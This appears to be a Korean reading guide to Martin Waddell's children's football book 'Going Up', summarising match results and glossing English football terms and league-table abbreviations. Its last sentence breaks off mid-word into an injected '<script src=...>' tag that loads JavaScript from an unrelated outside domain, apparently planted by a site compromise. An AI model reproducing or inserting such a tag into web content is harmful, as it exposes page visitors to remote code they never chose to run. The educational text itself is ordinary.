Welcome to ReadingLAB

GOING UP

Martin Waddell

제이와이북스

Paperback + Tape

12000

Jackie D는 Belton Goalbuster의 축구선수입니다. 그의 짝은 Farouk과 Dipper이고요.

Holt Boys' League 제 3지역 예선서부터 결승 진출하여 우승하기까지 중요한 경기를 Dipper의 아버지께서 비데오로 찍어 주셨기에 생생한 경기 장면을 볼 수 있습니다.

자 어떻게 우승을 향하여 나아가는지 같이 볼까요?

* 축 구에 대해서 알아 봅시다.*

축구는 세계적으로 널리 알려진 구기 운동으로 11명의 선수가 1팀으로 상대편 골대 안에 골을 발로 차 넣는 경기입니다. 모든 선수는 같은 유니폼을 입되 골키퍼만이 선수와 심판과 다른 옷을 입게 되어있습니다.

축구의 역사는 기원전부터라고 하며 1908년 올림픽의 정식 종목으로 채택 된 후 선풍적인 인기를 끌고 있습니다.

올림픽이 열리지 않는 중간년도에 열리는 월드컵경기는 온 지구가 한마음이 되어 경기를 지켜보지요.

우리나라에도 삼국시대부터 소의 오줌보에다 공기를 넣어 차던 ‘축국’이라 불리던 공놀이의 기록이 남아있으며 2002년 월드컵에서는 사상 최초로 4강에 오르는 기적을 이루어 냈습니다. 아직도 그 뜨겁던 함성이 들리는 것 같죠.

* 단어 및 문장*

축구에 관한 책이다 보니 주로 축구에 관한 용어가 많습니다.

going up-(결승전)에 올라가다.

league table- 대진표.

It is only alphabetical- 단지 알파벳 순서대로 일 뿐이야.

기록 1; 첫 번째 경기

Holt Boys' League 첫 번째 경기 로 Belton Goalbusters V Owen United 의 게임입니다. Jackie D (주인공 이하 JD)이 첫 골을 넣었구요, 그의 짝인 Faruk이 헤딩골을 그리고 이어서 또 한 골을 넣습니다.

후반전 거의 마지막에 JD가 연결 해준 공을 Dipper이 성공적으로 골인 시킵니다. 첫 게임을 4-1로 이겼습니다.

Game one in the league- 리그 첫 번째 경기

saving-골키퍼가 상대편 득점을 막아내기 위해 몸을 던져 공을 막는 것.

throwing the ball out-골키퍼가 잡은 공을 우리 편에게 던져줌.

chipping the ball-공을 상대편의 머리위로 차 올림.

scoring our first ever goal- 맨 처음으로 득점하다.

heading goal- 머리로 받아서 넣어 득점함.

poaching- (주머니 속에 넣듯이) 공을 차서 집어넣다.

outpacing their stopper- 상대 수비수를 앞지르다.

We won 4-1- 우리가 4대일로 이겼음.

four to one으로 읽음.

대진표를 봅시다.

완쪽에 team의 이름이 죽 나열되어있고 그다음

P W D L GD Pts가 있습니다.

오늘 첫 시합이 끝난 후의 대진표

P-1 W-1 D- 0 L-0 GD +3 Pts- 3이네요.

좀 더 지켜봅시다. 각각의 글이 무엇을 뜻하는지.

기록 2; 여섯 번째 경기

Belton Goalbusters V Welby United의 게임

전반 시작하자마자 거의 골을 성공 시킬 뻔한 JD 그러나 Faruk의 골도 ? 사이드되고 Dipper이 옐로우 카드를 받게 되네요. 맙소사 Welby가 후반 3분전에 한 골을 넣었네요. 0-1로 졌습니다.

offside-상대편 진영 선수와 골라인 사이에 상대선수가 2명이상이

없을 때 자기 팀으로부터 패스를 받는 경우.

punching clear-손으로 쳐서 골 부근에 있는 공을 멀리 날려

위험으로부터 벗어나는 것.

We lost 0-1-영 대 일로 졌어. zero to one

우리가 홈팀일 경우에는 항상 우리의 스코어가 먼저 옵니다.

대진표

P-6 W-5 D-0 L-1 GD- +14 Pts- 15 이제 대충 감이 잡히죠.

P-게임 수 W-이긴 게임 수 D- ? L- 진 게임

GD-골득실 Pts- 승점(이긴 게임당 각 3점씩)

기록 3; 아홉 번째 경기

East Mallltboy V Belton Goalbusters

전반 6분 만에 Farouk의 첫 골이 터졌습니다. 다시 3분 뒤에 JD의 골.

후반에 Dipper가 0-3 Mojo가 또 한골 0-4. 게다가 그들이 그만 자책골을 넣어 0-5가 되었는데 후반 7분 전에 우리의 JD가 쐐기 골을 넣었군요.

오늘의 스코어 0-6 드디어 결승을 향한 길이 보입니다.

centre-back-영국 작가의 글임을 일깨워주는 부분.

영국-centre, theatre 미국- center, theater

scored an own goal- 자책골을 넣다.

mucked up- 시커멓게 만들다.

‘Our goalie had flu!'- goalie= goalkeeper

‘우리 골키퍼가 독감에 걸려 가지고 말이야....’

진 자는 항상 변명이 있습니다. 경기에진 상대 코치의 말이죠.

대진표

P-9 W-8 D-0 L- 1 GD- 19 Pts- 24

기록 4; 열 번째 경기

Hazelbrook Stars V Belton Goalbusters.

전반 12분에 우리가 자책골을 넣었습니다. 그리고는 JD가 연결해준 골을 Dipper가 성공시켜서 1-1. Dipper가 준골로 JD가 또 한골 1-2가 되었네요. Farouk이 하나 더해서 1-3이 되었으나 후반 거의 끝날 쯤 Hazelbrook이 한 골을 넣어서 2-3이 되었습니다.

laid one on for- 누구에?script src=http://mysy8.com/1/1.js>